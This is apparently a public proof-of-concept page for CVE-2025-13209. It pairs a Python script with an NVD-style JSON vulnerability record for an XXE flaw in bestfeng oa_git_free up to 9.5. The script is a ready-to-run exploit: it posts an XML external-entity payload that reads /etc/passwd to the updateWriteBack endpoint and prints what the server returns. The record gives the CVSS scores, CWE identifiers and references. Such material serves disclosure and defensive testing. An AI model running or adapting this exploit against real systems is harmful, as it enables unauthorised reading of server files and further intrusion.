CVE-2025-13209

import requests import sys # CVE-2025-13209 XXE PoC for bestfeng oa_git_free # Target: /WorkflowPredefineController/updateWriteBack endpoint TARGET_URL = "http://target.com/yimioa-oa9.5/server/c-flow/WorkflowPredefineController" # XXE payload to read local file xxe_payload = '''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root> <writeProp>&xxe;</writeProp> </root>''' def exploit(target_url, payload): """Send XXE payload to vulnerable endpoint""" headers = { 'Content-Type': 'application/xml', 'User-Agent': 'Mozilla/5.0' } try: response = requests.post( target_url + '/updateWriteBack', data=payload, headers=headers, timeout=10 ) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response:\n{response.text}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": print("[*] CVE-2025-13209 XXE PoC") print("[*] Target: bestfeng oa_git_free <= 9.5") exploit(TARGET_URL, xxe_payload)

{"cve": {"id": "CVE-2025-13209", "sourceIdentifier": "[email protected]", "published": "2025-11-15T19:15:43.257", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in bestfeng oa_git_free up to 9.5. This affects the function updateWriteBack of the file yimioa-oa9.5\\server\\c-flow\\src\\main\\java\\com\\cloudweb\\oa\\controller\\WorkflowPredefineController.java. This manipulation of the argument writeProp causes xml external entity reference. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be exploited."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-610"}, {"lang": "en", "value": "CWE-611"}]}], "references": [{"url": "https://github.com/bkglfpp/CVE-md/blob/main/%E4%BA%91%E7%BD%91%E5%8D%8F%E5%90%8C%E5%8A%9E%E5%85%AC%E7%B3%BB%E7%BB%9F/XXE.md", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.332528", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.332528", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.685626", "source": "[email protected]"}]}}